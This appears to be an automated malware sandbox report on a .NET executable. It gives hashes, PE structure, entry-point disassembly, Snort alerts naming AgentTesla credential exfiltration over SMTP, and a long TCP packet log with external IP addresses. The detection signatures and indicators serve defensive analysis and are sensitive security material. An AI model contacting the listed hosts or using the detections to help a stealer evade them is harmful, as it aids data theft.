Thumbprint MD5:	F65AC12D552AB5ADFCBA9912AF9EDEF9
Thumbprint SHA-1:	372213F89CE6DF0941CC2AF2463E57A469D94070
Thumbprint SHA-256:	8611B8DA48B73973411C6EE75AA9AF86A632BEE1153117B56C3B0C82CD85CA85
Serial:	0F94B42F22EE48BF1374BDF1A7DB530B

Entrypoint Preview

Instruction
jmp dword ptr [00403218h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
in al, dx
xor dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x31bc	0x4c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0xd6ba	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xf000	0x2aa0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x12000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3218	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1220	0x1400	f0f589fd9d578c74baf16d62c855c617	False	0.5216796875	data	5.179171163591391	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0xd6ba	0xd800	9391f912825aadbe5f2e194e912395b2	False	0.24672670717592593	data	4.954106959881013	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x12000	0xc	0x200	0b35ac7682279508659aba8fcfd13031	False	0.041015625	data	0.07763316234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x4100	0xd028	Device independent bitmap graphic, 100 x 256 x 32, image size 51200, resolution 3779 x 3779 px/m	0.2397537907221138
RT_GROUP_ICON	0x11138	0x14	data	1.15
RT_VERSION	0x1115c	0x364	data	0.42857142857142855
RT_MANIFEST	0x114d0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/20/24-10:23:34.344247	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49717	587	192.168.2.5	66.29.151.236
04/20/24-10:23:34.344316	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49717	587	192.168.2.5	66.29.151.236
04/20/24-10:23:34.344316	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49717	587	192.168.2.5	66.29.151.236
04/20/24-10:23:34.344316	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	49717	587	192.168.2.5	66.29.151.236
04/20/24-10:23:34.344316	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49717	587	192.168.2.5	66.29.151.236

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2024 10:22:53.803628922 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.043554068 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.043673992 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.044672966 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.284359932 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.284548998 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.284693956 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.284712076 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.284729004 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.284744978 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.284754038 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.284763098 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.284770966 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.284768105 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.284782887 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.284800053 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.284842014 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.284899950 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.524894953 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.524943113 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.524980068 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525016069 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525023937 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.525053978 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525090933 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.525095940 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525134087 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525149107 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.525172949 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525208950 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525226116 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.525248051 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525284052 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525296926 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.525321960 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525357962 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525366068 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.525396109 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525432110 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525448084 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.525469065 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525505066 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525518894 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.525542974 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525578976 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525593996 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.525618076 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.525665998 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.765367985 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765414953 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765440941 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765465021 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765547991 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765561104 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.765562057 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.765574932 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765666962 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765686035 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765706062 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765717030 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765727043 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765753031 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765763998 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765774012 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765784979 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765798092 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765808105 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765819073 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765830040 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765831947 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.765841007 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765851974 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765866041 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765876055 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765887022 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765898943 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765908957 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765919924 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765930891 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765942097 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765952110 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765963078 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765964031 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.765974045 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765985012 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.765990019 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.765995979 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.766007900 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.766017914 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.766028881 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.766030073 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.766040087 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.766048908 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.766052008 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.766064882 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:54.766098022 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:54.766119003 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006436110 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006458044 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006468058 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006479025 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006493092 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006508112 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006551027 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006561041 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006572008 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006586075 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006576061 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006597042 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006608963 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006620884 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006632090 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006643057 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006654024 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006664038 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006664991 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006664991 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006664991 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006664991 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006675959 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006719112 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006720066 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006719112 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006733894 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006743908 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006755114 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006766081 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006777048 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006788015 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006798029 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006809950 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006820917 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006825924 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006825924 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006831884 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006845951 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006849051 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006856918 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006867886 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006886959 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006896973 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006907940 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006918907 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006932974 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006942034 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006942987 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006956100 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006961107 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.006967068 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006978989 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.006990910 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007002115 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007000923 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007013083 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007019997 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007025003 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007035971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007066011 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007066011 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007072926 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007086992 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007088900 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007101059 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007112026 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007122040 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007133007 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007136106 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007143974 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007154942 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007158041 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007186890 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007199049 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007201910 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007209063 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007220984 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007221937 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007234097 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007246971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007256985 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007261038 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007267952 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007280111 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007294893 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007313013 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007317066 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007325888 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007338047 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007352114 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007360935 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007366896 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007371902 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007384062 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007386923 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007395029 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007407904 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007417917 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007428885 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007428885 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007441998 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007453918 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007453918 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007466078 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007473946 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007481098 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007492065 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007492065 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007504940 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007515907 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007527113 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.007539988 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.007579088 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247360945 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247390032 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247400045 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247431993 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247476101 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247488022 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247502089 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247498989 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247515917 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247528076 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247555971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247567892 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247567892 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247572899 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247586966 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247596025 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247602940 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247616053 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247627020 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247642040 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247643948 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247656107 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247667074 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247678041 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247690916 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247706890 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247706890 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247729063 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247741938 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247764111 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247777939 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247793913 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247801065 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247806072 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247819901 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247847080 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247850895 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247860909 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247874975 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247888088 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247905016 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247917891 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247920036 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247931004 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247942924 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247961998 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.247966051 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247978926 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247989893 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.247994900 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.248003006 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248018980 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.248030901 CEST	80	49708	5.34.182.232	192.168.2.5
